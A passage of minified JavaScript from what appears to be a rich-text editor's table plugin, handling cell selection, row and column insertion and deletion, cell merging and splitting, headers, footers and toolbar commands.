C.core.sameInstance(T)&&z()}}function G(e,t){if(C.$box.find(".fr-line-breaker").isVisible())return!1;c||J(),C.$box.append(c),c.data("instance",C);var a,n=k(t).find("tr").first(),r=e.pageX,i=0,o=0;if(C.opts.iframe){var s=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-top")),l=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-left"));i+=C.$iframe.offset().left-C.helpers.scrollLeft()+l,o+=C.$iframe.offset().top-C.helpers.scrollTop()+s}n.find("th, td").each(function(){var e=k(this);return e.offset().left<=r&&r<e.offset().left+e.outerWidth()/2?(a=parseInt(c.find("a").css("width"),10),c.css("top",o+e.offset().top-C.$box.offset().top-a-5),c.css("left",i+e.offset().left-C.$box.offset().left-a/2),c.data("selected-cell",e),c.data("position","before"),c.addClass("fr-visible"),!1):e.offset().left+e.outerWidth()/2<=r&&r<e.offset().left+e.outerWidth()?(a=parseInt(c.find("a").css("width"),10),c.css("top",o+e.offset().top-C.$box.offset().top-a-5),c.css("left",i+e.offset().left-C.$box.offset().left+e.outerWidth()-a/2),c.data("selected-cell",e),c.data("position","after"),c.addClass("fr-visible"),!1):void 0})}function V(e,t){if(C.$box.find(".fr-line-breaker").isVisible())return!1;c||J(),C.$box.append(c),c.data("instance",C);var a,n=k(t),r=e.pageY,i=0,o=0;if(C.opts.iframe){var s=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-top")),l=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-left"));i+=C.$iframe.offset().left-C.helpers.scrollLeft()+l,o+=C.$iframe.offset().top-C.helpers.scrollTop()+s}n.find("tr").each(function(){var e=k(this);a=parseInt(c.find("a").css("width"),10);var t=i+e.offset().left-C.$box.offset().left;return t=0!==C.$box.offset().left?t-a-5:t+a-5,e.offset().top<=r&&r<e.offset().top+e.outerHeight()/2?(c.css("top",o+e.offset().top-C.$box.offset().top-a/2),c.css("left",t),c.data("selected-cell",e.find("td").first()),c.data("position","above"),c.addClass("fr-visible"),!1):e.offset().top+e.outerHeight()/2<=r&&r<e.offset().top+e.outerHeight()?(c.css("top",o+e.offset().top-C.$box.offset().top+e.outerHeight()-a/2),c.css("left",t),c.data("selected-cell",e.find("td").first()),c.data("position","below"),c.addClass("fr-visible"),!1):void 0})}function Y(e){o=null;var t=C.doc.elementFromPoint(e.pageX-C.win.pageXOffset,e.pageY-C.win.pageYOffset);C.opts.tableResizer&&(!C.popups.areVisible()||C.popups.areVisible()&&C.popups.isVisible("table.edit"))&&W(e,t),!C.opts.tableInsertHelper||C.popups.areVisible()||C.$tb.hasClass("fr-inline")&&C.$tb.isVisible()||function i(e,t){if(0===te().length){var a,n,r;if(t&&("HTML"==t.tagName||"BODY"==t.tagName||C.node.isElement(t)))for(a=1;a<=C.opts.tableInsertHelperOffset;a++){if(n=C.doc.elementFromPoint(e.pageX-C.win.pageXOffset,e.pageY-C.win.pageYOffset+a),k(n).hasClass("fr-tooltip"))return!0;if(n&&("TH"==n.tagName||"TD"==n.tagName||"TABLE"==n.tagName)&&(k(n).parents(".fr-wrapper").length||C.opts.iframe)&&"false"!=k(n).closest("table").attr("contenteditable"))return G(e,k(n).closest("table")),!0;if(r=C.doc.elementFromPoint(e.pageX-C.win.pageXOffset+a,e.pageY-C.win.pageYOffset),k(r).hasClass("fr-tooltip"))return!0;if(r&&("TH"==r.tagName||"TD"==r.tagName||"TABLE"==r.tagName)&&(k(r).parents(".fr-wrapper").length||C.opts.iframe)&&"false"!=k(r).closest("table").attr("contenteditable"))return V(e,k(r).closest("table")),!0}C.core.sameInstance(c)&&K()}}(e,t)}function j(){if(y){var e=T.data("table").offset().top-C.win.pageYOffset;if(C.opts.iframe){var t=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-top"));e+=C.$iframe.offset().top-C.helpers.scrollTop()+t}T.css("top",e)}}function q(e,t){var a,n=k(t[0][e]).outerWidth();for(a=1;a<t.length;a++)n=Math.min(n,k(t[a][e]).outerWidth());return n}function X(e,t,a){var n,r=0;for(n=e;n<=t;n++)r+=q(n,a);return r}function Z(e){if(1<te().length&&i&&O(),!1===i&&!1===r&&!1===y)o&&clearTimeout(o),C.edit.isDisabled()&&!C.popups.isVisible("table.edit")||(o=setTimeout(Y,30,e));else if(y){var t=e.pageX-C.win.pageXOffset;C.opts.iframe&&(t+=C.$iframe.offset().left);var a=T.data("max-left"),n=T.data("max-right");a<=t&&t<=n?T.css("left",t-C.opts.tableResizerOffset-C.$wp.offset().left):t<a&&parseFloat(T.css("left"),10)>a-C.opts.tableResizerOffset?T.css("left",a-C.opts.tableResizerOffset-C.$wp.offset().left):n<t&&parseFloat(T.css("left"),10)<n-C.opts.tableResizerOffset&&T.css("left",n-C.opts.tableResizerOffset-C.$wp.offset().left)}else i&&K()}function Q(e){C.node.isEmpty(e.get(0))?C.opts.keepTextFormatOnTable&&C.browser.mozilla?e.append(St.MARKERS):e.prepend(St.MARKERS):e.prepend(St.START_MARKER).append(St.END_MARKER)}function J(){C.shared.$ti_helper||(C.shared.$ti_helper=k(document.createElement("div")).attr("class","fr-insert-helper").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(C.language.translate("Insert"),'"><svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg"><path d="M22,16.75 L16.75,16.75 L16.75,22 L15.25,22.000 L15.25,16.75 L10,16.75 L10,15.25 L15.25,15.25 L15.25,10 L16.75,10 L16.75,15.25 L22,15.25 L22,16.75 Z"/></svg></a>')),C.events.bindClick(C.shared.$ti_helper,"a",function(){var e=c.data("selected-cell"),t=c.data("position"),a=c.data("instance")||C;"before"==t?(C.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertColumn(t),e.removeClass("fr-selected-cell"),C.undo.saveStep()):"after"==t?(C.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertColumn(t),e.removeClass("fr-selected-cell"),C.undo.saveStep()):"above"==t?(C.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertRow(t),e.removeClass("fr-selected-cell"),C.undo.saveStep()):"below"==t&&(C.undo.saveStep(),e.addClass("fr-selected-cell"),a.table.insertRow(t),e.removeClass("fr-selected-cell"),C.undo.saveStep()),K()}),C.events.on("shared.destroy",function(){C.shared.$ti_helper.html("").removeData().remove(),C.shared.$ti_helper=null},!0),C.events.$on(C.shared.$ti_helper,"mousemove",function(e){e.stopPropagation()},!0),C.events.$on(k(C.o_win),"scroll",function(){K()},!0),C.events.$on(C.$wp,"scroll",function(){K()},!0)),c=C.shared.$ti_helper,C.events.on("destroy",function(){c=null}),C.tooltip.bind(C.$box,".fr-insert-helper > a.fr-floating-btn")}function ee(){n=null,clearTimeout(o)}function te(){return C.el.querySelectorAll(".fr-selected-cell")}function ae(){var e=te();if(e.length){for(var t=e[0];t&&"TABLE"!=t.tagName&&t.parentNode!=C.el;)t=t.parentNode;return t&&"TABLE"==t.tagName?k(t):k([])}return k([])}function ne(){r=!1}return{_init:function re(){if(!C.$wp)return!1;if(C.helpers.isMobile()&&(C.events.$on(C.$el,"mousedown",e),C.events.$on(C.$win,"mouseup",a)),!C.helpers.isMobile()){y=r=i=!1,C.events.$on(C.$el,"mousedown",e),C.popups.onShow("image.edit",function(){I(),r=i=!1}),C.popups.onShow("link.edit",function(){I(),r=i=!1}),C.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&I()}),C.events.$on(C.$el,"mouseover","th, td",B),C.events.$on(C.$win,"mouseup",a),C.opts.iframe&&C.events.$on(k(C.o_win),"mouseup",a),C.events.$on(C.$win,"mousemove",Z),C.events.$on(k(C.o_win),"scroll",j),C.events.on("contentChanged",function(){0<te().length&&(h(),C.$el.find("img").on("load.selected-cells",function(){k(this).off("load.selected-cells"),0<te().length&&h()}))}),C.events.$on(k(C.o_win),"resize",function(){I()}),C.events.on("toolbar.esc",function(){if(0<te().length)return C.events.disableBlur(),C.events.focus(),!1},!0),C.events.$on(k(C.o_win),"keydown",function(){i&&r&&(r=i=!1,C.$el.removeClass("fr-no-selection"),C.edit.on(),C.selection.setAtEnd(C.$el.find(".fr-selected-cell").last().get(0)),C.selection.restore(),I())}),C.events.$on(C.$el,"keydown",function(e){e.shiftKey?!1===function o(e){var t=te();if(null!=t&&0<t.length){var a,n=S(),r=e.which,i=R(1==t.length?a=t[0]:(a=C.el.querySelector(".fr-cell-fixed"),C.el.querySelector(".fr-cell-handler")),n);if(St.KEYCODE.ARROW_RIGHT==r){if(i.col<n[0].length-1)return D(a,n[i.row][i.col+1]),!1}else if(St.KEYCODE.ARROW_DOWN==r){if(i.row<n.length-1)return D(a,n[i.row+1][i.col]),!1}else if(St.KEYCODE.ARROW_LEFT==r){if(0<i.col)return D(a,n[i.row][i.col-1]),!1}else if(St.KEYCODE.ARROW_UP==r&&0<i.row)return D(a,n[i.row-1][i.col]),!1}}(e)&&setTimeout(function(){h()},0):function s(e){var t=e.which,a=C.selection.blocks();if(a.length&&("P"!==(a=a[0]).tagName&&"DIV"!==a.tagName||(a=a.parentNode),"TD"==a.tagName||"TH"==a.tagName)){for(var n=a;n&&"TABLE"!=n.tagName&&n.parentNode!=C.el;)n=n.parentNode;if(n&&"TABLE"==n.tagName&&(St.KEYCODE.ARROW_LEFT==t||St.KEYCODE.ARROW_UP==t||St.KEYCODE.ARROW_RIGHT==t||St.KEYCODE.ARROW_DOWN==t)&&(0<te().length&&P(),C.browser.webkit&&(St.KEYCODE.ARROW_UP==t||St.KEYCODE.ARROW_DOWN==t))){var r=C.selection.ranges(0).startContainer;if(r.nodeType==Node.TEXT_NODE&&(St.KEYCODE.ARROW_UP==t&&(r.previousSibling&&"BR"!==r.previousSibling.tagName||r.previousSibling&&"BR"===r.previousSibling.tagName&&r.previousSibling.previousSibling)||St.KEYCODE.ARROW_DOWN==t&&(r.nextSibling&&"BR"!==r.nextSibling.tagName||r.nextSibling&&"BR"===r.nextSibling.tagName&&r.nextSibling.nextSibling)))return;e.preventDefault(),e.stopPropagation();var i=S(k(n)),o=R(a,i);return St.KEYCODE.ARROW_UP==t?H(o,n,i):St.KEYCODE.ARROW_DOWN==t&&$(o,n,i),C.selection.restore(),!1}}}(e)}),C.events.on("keydown",function(e){if(!1===function n(e){if(e.which==St.KEYCODE.TAB){var t;if(0<te().length)t=C.$el.find(".fr-selected-cell").last();else{var a=C.selection.element();"TD"==a.tagName||"TH"==a.tagName?t=k(a):a!=C.el&&(0<k(a).parentsUntil(C.$el,"td").length?t=k(a).parents("td").first():0<k(a).parentsUntil(C.$el,"th").length&&(t=k(a).parents("th").first()))}if(t)return e.preventDefault(),!!(0===C.selection.get().focusOffset&&0<k(C.selection.element()).parentsUntil(C.$el,"ol, ul").length&&(0<k(C.selection.element()).closest("li").prev().length||k(C.selection.element()).is("li")&&0<k(C.selection.element()).prev().length))||(P(),e.shiftKey?0<t.prev().length?Q(t.prev()):0<t.closest("tr").length&&0<t.closest("tr").prev().length?Q(t.closest("tr").prev().find("td").last()):0<t.closest("tbody").length&&0<t.closest("table").find("thead tr").length&&Q(t.closest("table").find("thead tr th").last()):0<t.next().length?Q(t.next()):0<t.closest("tr").length&&0<t.closest("tr").next().length?Q(t.closest("tr").next().find("td").first()):0<t.closest("thead").length&&0<t.closest("table").find("tbody tr").length?Q(t.closest("table").find("tbody tr td").first()):(t.addClass("fr-selected-cell"),v("below"),I(),Q(t.closest("tr").next().find("td").first())),C.selection.restore(),!1)}}(e))return!1;var t=te();if(0<t.length){if(0<t.length&&C.keys.ctrlKey(e)&&e.which==St.KEYCODE.A)return I(),C.popups.isVisible("table.edit")&&C.popups.hide("table.edit"),t=[],!0;if(e.which==St.KEYCODE.ESC&&C.popups.isVisible("table.edit"))return I(),C.popups.hide("table.edit"),e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation(),!(t=[]);if(1<t.length&&(e.which==St.KEYCODE.BACKSPACE||e.which==St.KEYCODE.DELETE)){C.undo.saveStep();for(var a=0;a<t.length;a++)k(t[a]).html("<br>"),a==t.length-1&&k(t[a]).prepend(St.MARKERS);return C.selection.restore(),C.undo.saveStep(),!(t=[])}if(1<t.length&&e.which!=St.KEYCODE.F10&&!C.keys.isBrowserAction(e))return e.preventDefault(),!(t=[])}else if(!(t=[])===function r(e){if(e.altKey&&e.which==St.KEYCODE.SPACE){var t,a=C.selection.element();if("TD"==a.tagName||"TH"==a.tagName?t=a:0<k(a).closest("td").length?t=k(a).closest("td").get(0):0<k(a).closest("th").length&&(t=k(a).closest("th").get(0)),t)return e.preventDefault(),D(t,t),h(),!1}}(e))return!1},!0);var t=[];C.events.on("html.beforeGet",function(){t=te();for(var e=0;e<t.length;e++)t[e].className=(t[e].className||"").replace(/fr-selected-cell/g,"")}),C.events.on("html.afterGet",function(){for(var e=0;e<t.length;e++)t[e].className=(t[e].className?t[e].className.trim()+" ":"")+"fr-selected-cell";t=[]}),d(!0),p(!0)}C.events.on("destroy",ee)},insert:function ie(e,t){var a,n,r=function c(){var e={startTag:"",closeTag:""};if(C.opts.keepTextFormatOnTable){var t=k(C.selection.element().firstChild).parentsUntil(C.$el);e=u(t)}return{startTag:e.startTag,closeTag:e.closeTag}}(),i="<table "+(C.opts.tableDefaultWidth?'style="width: '+C.opts.tableDefaultWidth+';" ':"")+'class="fr-inserted-table"><tbody>',o=100/t;for(a=0;a<e;a++){for(i+="<tr>",n=0;n<t;n++)i+="<td"+(C.opts.tableDefaultWidth?' style="width: '+o.toFixed(4)+'%;"':"")+">"+r.startTag,0===a&&0===n&&(i+=St.MARKERS),i+="<br>"+r.closeTag+"</td>";i+="</tr>"}if(i+="</tbody></table>",C.opts.trackChangesEnabled){C.edit.on(),C.events.focus(!0),C.selection.restore(),C.undo.saveStep(),C.markers.insert(),C.html.wrap();var s=C.$el.find(".fr-marker");C.node.isLastSibling(s)&&s.parent().hasClass("fr-deletable")&&s.insertAfter(s.parent()),s.replaceWith(i),C.selection.clear()}else C.html.insert(i);C.selection.restore();var l=C.$el.find(".fr-inserted-table");l.removeClass("fr-inserted-table"),C.events.trigger("table.inserted",[l.get(0)])},remove:g,insertRow:v,deleteRow:function oe(){var e=ae();if(0<e.length){var t,a,n,r=S(),i=F(r);if(null==i)return;if(0===i.min_i&&i.max_i==r.length-1)g();else{for(t=i.max_i;t>=i.min_i;t--){for(n=k(e.find("tr").not(e.find("> table tr")).get(t)),a=0;a<r[t].length;a++)if(0===a||r[t][a]!=r[t][a-1]){var o=k(r[t][a]);if(1<parseInt(o.attr("rowspan"),10)){var s=parseInt(o.attr("rowspan"),10)-1;1==s?o.removeAttr("rowspan"):o.attr("rowspan",s)}if(t<r.length-1&&r[t][a]==r[t+1][a]&&(0===t||r[t][a]!=r[t-1][a])){for(var l=r[t][a],c=a;0<c&&r[t][c]==r[t][c-1];)c--;0===c?k(e.find("tr").not(e.find("> table tr")).get(t+1)).prepend(l):k(r[t+1][c-1])[0].parentNode&&k(r[t+1][c-1])[0].insertAdjacentElement("afterend",l)}}var d=n.parent();n.remove(),0===d.find("tr").length&&d.remove(),r=S(e)}w(0,r.length-1,0,r[0].length-1,e),0<i.min_i?C.selection.setAtEnd(r[i.min_i-1][0]):C.selection.setAtEnd(r[0][0]),C.selection.restore(),C.popups.hide("table.edit")}}},insertColumn:function se(d){var e=ae();if(0<e.length){var f,p=S(),t=F(p);f="before"==d?t.min_j:t.max_j;var a,u=100/p[0].length,g=100/(p[0].length+1);e.find("th, td").each(function(){(a=k(this)).data("old-width",a.outerWidth()/e.outerWidth()*100)}),e.find("tr").not(e.find("> table tr")).each(function(e){for(var t,a=k(this),n=0,r=0;n-1<f;){if(!(t=a.find("> th, > td").get(r))){t=null;break}t==p[e][n]?(n+=parseInt(k(t).attr("colspan"),10)||1,r++):(n+=parseInt(k(p[e][n]).attr("colspan"),10)||1,"after"==d&&(t=0===r?-1:a.find("> th, > td").get(r-1)))}var i=k(t);if("after"==d&&f<n-1||"before"==d&&0<f&&p[e][f]==p[e][f-1]){if(0===e||0<e&&p[e][f]!=p[e-1][f]){var o=parseInt(i.attr("colspan"),10)+1;i.attr("colspan",o),i.css("width",(i.data("old-width")*g/u+g).toFixed(4)+"%"),i.removeData("old-width")}}else{var s,l=(i.get(0)||"").tagName;if(0<a.find("th").length&&"TH"===l)s='<th style="width: '.concat(g.toFixed(4),'%;"><br></th>');else{var c=m(p[e][f]);s='<td style="'.concat(i.attr("style"),"; width: ").concat(g.toFixed(4),'%;">')+c.startTag+"<br>"+c.closeTag+"</td>"}k(s).append("<br>"),k(s).css("width","".concat(g.toFixed(4),"%")),-1==t?a.prepend(s):null==t?a.append(s):"before"==d?i.before(s):"after"==d&&i.after(s)}}),e.find("th, td").each(function(){(a=k(this)).data("old-width")&&(a.css("width",(a.data("old-width")*g/u).toFixed(4)+"%"),a.removeData("old-width"))}),C.popups.isVisible("table.edit")&&h()}},deleteColumn:function le(){var e=ae();if(0<e.length){var t,a,n,r=S(),i=F(r);if(null==i)return;if(0===i.min_j&&i.max_j==r[0].length-1)g();else{var o=0;for(t=0;t<r.length;t++)for(a=0;a<r[0].length;a++)(n=k(r[t][a])).hasClass("fr-selected-cell")||(n.data("old-width",n.outerWidth()/e.outerWidth()*100),(a<i.min_j||a>i.max_j)&&(o+=n.outerWidth()/e.outerWidth()*100));for(o/=r.length,a=i.max_j;a>=i.min_j;a--)for(t=0;t<r.length;t++)if(0===t||r[t][a]!=r[t-1][a])if(n=k(r[t][a]),1<(parseInt(n.attr("colspan"),10)||1)){var s=parseInt(n.attr("colspan"),10)-1;1==s?n.removeAttr("colspan"):n.attr("colspan",s),n.css("width",(100*(n.data("old-width")-q(a,r))/o).toFixed(4)+"%"),n.removeData("old-width")}else{var l=k(n.parent().get(0));n.remove(),0===l.find("> th, > td").length&&(0===l.prev().length||0===l.next().length||l.prev().find("> th[rowspan], > td[rowspan]").length<l.prev().find("> th, > td").length)&&l.remove()}w(0,r.length-1,0,r[0].length-1,e),0<i.min_j?C.selection.setAtEnd(r[i.min_i][i.min_j-1]):C.selection.setAtEnd(r[i.min_i][0]),C.selection.restore(),C.popups.hide("table.edit"),e.find("th, td").each(function(){(n=k(this)).data("old-width")&&(n.css("width",(100*n.data("old-width")/o).toFixed(4)+"%"),n.removeData("old-width"))})}}},mergeCells:function ce(){if(1<te().length&&(0===C.$el.find("th.fr-selected-cell").length||0===C.$el.find("td.fr-selected-cell").length)){x();var e,t,a=F(S());if(null==a)return;var n=C.$el.find(".fr-selected-cell"),r=k(n[0]),i=r.parent().find(".fr-selected-cell"),o=r.closest("table"),s=r.html(),l=0;for(e=0;e<i.length;e++)l+=k(i[e]).outerWidth();for(r.css("width",Math.min(100,l/o.outerWidth()*100).toFixed(4)+"%"),a.min_j<a.max_j&&r.attr("colspan",a.max_j-a.min_j+1),a.min_i<a.max_i&&r.attr("rowspan",a.max_i-a.min_i+1),e=1;e<n.length;e++)"<br>"!=(t=k(n[e])).html()&&""!==t.html()&&(s+="<br>".concat(t.html())),t.remove();r.html(s),C.selection.setAtEnd(r.get(0)),C.selection.restore(),C.toolbar.enable(),E(a.min_i,a.max_i,o);var c=o.find("tr:empty");for(e=c.length-1;0<=e;e--)k(c[e]).remove();b(a.min_j,a.max_j,o),h()}},splitCellVertically:function de(){if(1==te().length){var e=C.$el.find(".fr-selected-cell"),t=parseInt(e.attr("colspan"),10)||1,a=e.parent().outerWidth(),n=e.outerWidth(),r=e.clone().html("<br>"),i=S(),o=R(e.get(0),i);if(1<t){var s=Math.ceil(t/2);n=X(o.col,o.col+s-1,i)/a*100;var l=X(o.col+s,o.col+t-1,i)/a*100;1<s?e.attr("colspan",s):e.removeAttr("colspan"),1<t-s?r.attr("colspan",t-s):r.removeAttr("colspan"),e.css("width",n.toFixed(4)+"%"),r.css("width",l.toFixed(4)+"%")}else{var c;for(c=0;c<i.length;c++)if(0===c||i[c][o.col]!=i[c-1][o.col]){var d=k(i[c][o.col]);if(!d.is(e)){var f=(parseInt(d.attr("colspan"),10)||1)+1;d.attr("colspan",f)}}n=n/a*100/2,e.css("width","".concat(n.toFixed(4),"%")),r.css("width","".concat(n.toFixed(4),"%"))}e[0].parentNode&&e[0].insertAdjacentElement("afterend",r[0]),I(),C.popups.hide("table.edit")}},splitCellHorizontally:function fe(){if(1==te().length){var e=C.$el.find(".fr-selected-cell"),t=e.parent(),a=e.closest("table"),n=parseInt(e.attr("rowspan"),10),r=S(),i=R(e.get(0),r),o=e.clone().html("<br>");if(1<n){var s=Math.ceil(n/2);1<s?e.attr("rowspan",s):e.removeAttr("rowspan"),1<n-s?o.attr("rowspan",n-s):o.removeAttr("rowspan");for(var l=i.row+s,c=0===i.col?i.col:i.col-1;0<=c&&(r[l][c]==r[l][c-1]||0<l&&r[l][c]==r[l-1][c]);)c--;-1==c?k(a.find("tr").not(a.find("> table tr")).get(l)).prepend(o):k(r[l][c])[0].parentNode&&k(r[l][c])[0].insertAdjacentElement("afterend",o[0])}else{var d,f=k(document.createElement("tr")).append(o);for(d=0;d<r[0].length;d++)if(0===d||r[i.row][d]!=r[i.row][d-1]){var p=k(r[i.row][d]);p.is(e)||p.attr("rowspan",(parseInt(p.attr("rowspan"),10)||1)+1)}t[0].parentNode&&t[0].insertAdjacentElement("afterend",f[0])}I(),C.popups.hide("table.edit")}},addHeader:function pe(){var e=ae();if(0<e.length&&0===e.find("> th").length){var t,a="<thead><tr>",n=0;for(n=e.find("tr").first().find("> th").length,e.find("tr").first().find("> td").each(function(){var e=k(this);n+=parseInt(e.attr("colspan"),10)||1}),t=0;t<n;t++)a+="<th><br></th>";a+="</tr></thead>",e.prepend(a),h()}},addFooter:function ue(){var e=ae();if(0<e.length&&0===e.find("tfoot").length){var t,a="<tfoot><tr>",n=0,r="> td";for(0<e.find("thead").length&&(r="> th"),e.find("tr").first().find(r).each(function(){var e=k(this);n+=parseInt(e.attr("colspan"),10)||1}),t=0;t<n;t++)a+="<td><br></td>";a+="</tr></tfoot>",e.append(a),h()}},removeHeader:function ge(){var e=ae(),t=e.find("> thead");if(0<(t=k(t)).length)if(0===e.find("tbody tr").length)g();else if(t.remove(),0<te().length)h();else{C.popups.hide("table.edit");var a=e.find("tbody tr").first().find("td").first().get(0);a&&(C.selection.setAtEnd(a),C.selection.restore())}},removeFooter:function he(){var e=ae(),t=e.find("tfoot");if(0<t.length)if(0===e.find("tbody tr").length)g();else if(t.remove(),0<te().length)h();else{C.popups.hide("table.edit");var a=e.find("tbody tr").first().find("td").first().get(0);a&&(C.selection.setAtEnd(a),C.selection.restore())}},setBackground:t,showInsertPopup:function me(){var e=C.$tb.find('.fr-command[data-cmd="insertTable"]'),t=C.popups.get("table.insert");if(t||(t=d()),!t.hasClass("fr-active")){C.popups.refresh("table.insert"),C.popups.setContainer("table.insert",C.$tb);var a=C.button.getPosition(e),n=a.left,r=a.top;C.popups.show("table.insert",n,r,e.outerHeight())}},showEditPopup:h,showColorsPopup:s,back:function ve(){0<te().length?h():(C.popups.hide("table.insert"),C.toolbar.showInline())},verticalAlign:function be(e){C.$el.find(".fr-selected-cell").css("vertical-align",e)},horizontalAlign:function Ee(e){C.$el.find(".fr-selected-cell").css("text-align",e)},applyStyle:function _e(e,t,a,n){if(0<t.length){if(C.opts.useClasses||("TABLE"===t.get(0).tagName?function i(e,t){var a=e.childNodes;if(0<a.length)for(var n=0;n<a.length;n++)"TD"===a[n].tagName?"fr-dashed-borders"===t||"fr-highlighted"===t||"fr-thick"===t?A(a[n]):"fr-alternate-rows"===t&&a[n].style.removeProperty("background-color"):i(a[n],t)}(t.get(0),e):A(t.get(0))),!a){var r=Object.keys(n);r.splice(r.indexOf(e),1),t.removeClass(r.join(" "))}t.toggleClass(e)}},selectedTable:ae,selectedCells:te,customColor:function we(){var e=C.popups.get("table.colors").find(".fr-table-colors-hex-layer input");e.length&&t(e.val())},selectCells:D}},St.DefineIcon("insertTable",{NAME:"table",SVG_KEY:"insertTable"}),St.RegisterCommand("insertTable",{title:"Insert Table",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("table.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("table.insert")):this.table.showInsertPopup()},plugin:"table"}),St.RegisterCommand("tableInsert",{callback:function(e,t,a){this.table.insert(t,a),this.popups.hide("table.insert")}}),St.DefineIcon("tableHeader",{NAME:"header",FA5NAME:"heading",SVG_KEY:"tableHeader"}),St.RegisterCommand("tableHeader",{title:"Table Header",focus:!1,toggle:!0,callback:function(){this.popups.get("table.edit").find('.fr-command[data-cmd="tableHeader"]').hasClass("fr-active")?this.table.removeHeader():this.table.addHeader()},refresh:function(e){var t=this.table.selectedTable();0<t.length&&(0===t.find("> thead").length?e.removeClass("fr-active").attr("aria-pressed",!1):e.addClass("fr-active").attr("aria-pressed",!0))}}),St.DefineIcon("tableFooter",{NAME:"table",FA5NAME:"table",SVG_KEY:"tableFooter"}),St.RegisterCommand("tableFooter",{title:"Table Footer",focus:!1,toggle:!0,callback:function(){this.popups.get("table.edit").find('.fr-command[data-cmd="tableFooter"]').hasClass("fr-active")?this.table.removeFooter():this.table.addFooter()},refresh:function(e){var t=this.table.selectedTable();0<t.length&&(0===t.find("tfoot").length?e.removeClass("fr-active").attr("aria-pressed",!1):e.addClass("fr-active").attr("aria-pressed",!0))}}),St.DefineIcon("tableRows",{NAME:"bars",SVG_KEY:"row"}),St.RegisterCommand("tableRows",{type:"dropdown",focus:!1,title:"Row",options:{above:"Insert row above",below:"Insert row below","delete":"Delete row"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.tableRows.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableRows" data-param1="'+a+'" title="'+this.language.translate(t[a])+'">'+this.language.translate(t[a])+"</a></li>");return e+="</ul>"},callback:function(e,t){"above"==t||"below"==t?this.table.insertRow(t):this.table.deleteRow()}}),St.DefineIcon("tableColumns",{NAME:"bars fa-rotate-90",SVG_KEY:"columns"}),St.RegisterCommand("tableColumns",{type:"dropdown",focus:!1,title:"Column",options:{before:"Insert column before",after:"Insert column after","delete":"Delete column"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.tableColumns.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableColumns" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){"before"==t||"after"==t?this.table.insertColumn(t):this.table.deleteColumn()}}),St.DefineIcon("tableCells",{NAME:"square-o",FA5NAME:"square",SVG_KEY:"cellOptions"}),St.RegisterCommand("tableCells",{type:"dropdown",focus:!1,title:"Cell",options:{merge:"Merge cells","vertical-split":"Vertical split","horizontal-split":"Horizontal split"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.tableCells.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCells" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){"merge"==t?this.table.mergeCells():"vertical-split"==t?this.table.splitCellVertically():this.table.splitCellHorizontally()},refreshOnShow:function(e,t){1<this.$el.find(".fr-selected-cell").length?(t.find('a[data-param1="vertical-split"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="horizontal-split"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="merge"]').removeClass("fr-disabled").attr("aria-disabled",!1)):(t.find('a[data-param1="merge"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="vertical-split"]').removeClass("fr-disabled").attr("aria-disabled",!1),t.find('a[data-param1="horizontal-split"]').removeClass("fr-disabled").attr("aria-disabled",!1))}}),St.DefineIcon("tableRemove",{NAME:"trash",SVG_KEY:"removeTable"}),St.RegisterCommand("tableRemove",{title:"Remove Table",focus:!1,callback:function(){this.table.remove()}}),St.DefineIcon("tableStyle",{NAME:"paint-brush",SVG_KEY:"tableStyle"}),St.RegisterCommand("tableStyle",{title:"Table Style",type:"dropdown",focus:!1,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.tableStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableStyle" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.applyStyle(t,this.$el.find(".fr-selected-cell").closest("table"),this.opts.tableMultipleStyles,this.opts.tableStyles)},refreshOnShow:function(e,t){var a=this.$,n=this.$el.find(".fr-selected-cell").closest("table");n&&t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=n.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),St.DefineIcon("tableCellBackground",{NAME:"tint",SVG_KEY:"cellBackground"}),St.RegisterCommand("tableCellBackground",{title:"Cell 